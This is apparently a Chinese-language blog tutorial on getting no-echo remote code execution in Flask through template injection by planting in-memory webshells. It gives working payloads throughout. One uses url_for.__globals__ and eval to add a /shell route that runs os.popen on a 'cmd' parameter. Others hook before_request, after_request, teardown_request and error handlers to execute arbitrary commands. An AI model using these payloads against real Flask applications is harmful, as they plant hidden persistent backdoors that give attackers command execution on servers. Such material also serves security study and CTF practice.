Flask无回显RCE

debug模式

如果程序开启了debug模式,那么一般是要计算pin值,计算出pin值就很简单了。

非debug模式

0x01 旧版内存马

低版本的flask(ssti)一般可以直接使用以下payload:

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

原理:

第一行利用url_for函数作为入口点获取了当前命名空间的__builtins__模块,然后调用eval函数。
这个eval传入了两个参数,看第二个

1
2
3
4
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

这里需要介绍一下eval的第二个参数:
eval的第二个参数允许传入一个字典,一般是用来指定表达式执行的全局变量命名空间(globals)
接下来再去理解第二个参数中传入的值就很好了。
_request_ctx_stack是一个请求上下文栈。请求上下文是指在处理HTTP请求的过程中,Flask创建的一个临时环境,用来存储和管理与当前请求相关的信息
url_for.__globals__['current_app']是当前运行的app。
然后看一下执行的代码

1
2
3
4
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())"

app.add_url_rule()是一个可以用来动态的添加路由的方法,我们可以通过这个方法动态的添加一个路由,其中我们可以通过匿名函数来处理这个路由的请求。
为了获取我们注入的命令,我们还需要当前HTTP请求的request对象,这也就是我们一开始要获取_request_ctx_stack的原因。在这个栈里,栈顶元素_request_ctx_stack.top自然就是我们当前请求的上下文,其中包含request对象,于是我们就可以获取当前请求GET传参的值,进而执行我们传入的命令。

0x02 新版内存马

比较新的flask版本,不允许我们在运行app的时候调用它的add_url_rule函数。
在阅读了大佬们写的文章后,我得知了可以使用flask自带的钩子函数,来达到注入内存马的目的。

before_request

before_request()是Flask下的一个解释器,服务端在处理请求之前会调用before_request所设置的回调函数对请求进行预处理,比如说,身份验证、权限检查等。
我们可以通过调用app.before_request_funcs.setdefault()函数来为我们的before_request设置处理函数,在SSTI的过程中我们需要获取到eval函数或者exec函数来插入内存马。
payload:

1
__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())

跟旧版的一样,我们需要先获取上下文。
因此在eval执行命令的时候我们可以使用:

1
app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read()),{'app':url_for.__globals__['current_app']}

但是原内容会被before_request的返回内容覆盖,我们可以使用after_request解决这个问题。

after_request

先看以下函数介绍:
Pasted image 20250417093253
这个解释器要求我们接收一个response对象,并且返回一个response对象。因此我们在定义匿名函数的时候需要设置一个参数(默认为respose类型)
payload:

1
app.after_request_funcs.setdefault(None,[]).append(lambda resp: make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)

SSTI中用法跟before_request一样。

teardown_request

跟after_request用法一模一样,但是没有回显。

errorhandler

errorhandler装饰器允许我们自定义报错界面
比如:

1
2
3
@app.errorhandler(404)
def error():
return "404!!!"

通过errorhandler绑定一个钩子函数,然后HTTP状态码为404时就调用我们自定义的函数,那么我们就可以加以利用。
payload:

1
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")

要用exec执行命令,eval不支持执行多条python命令。

参考文章

新版FLASK下python内存马的研究 - gxngxngxn - 博客园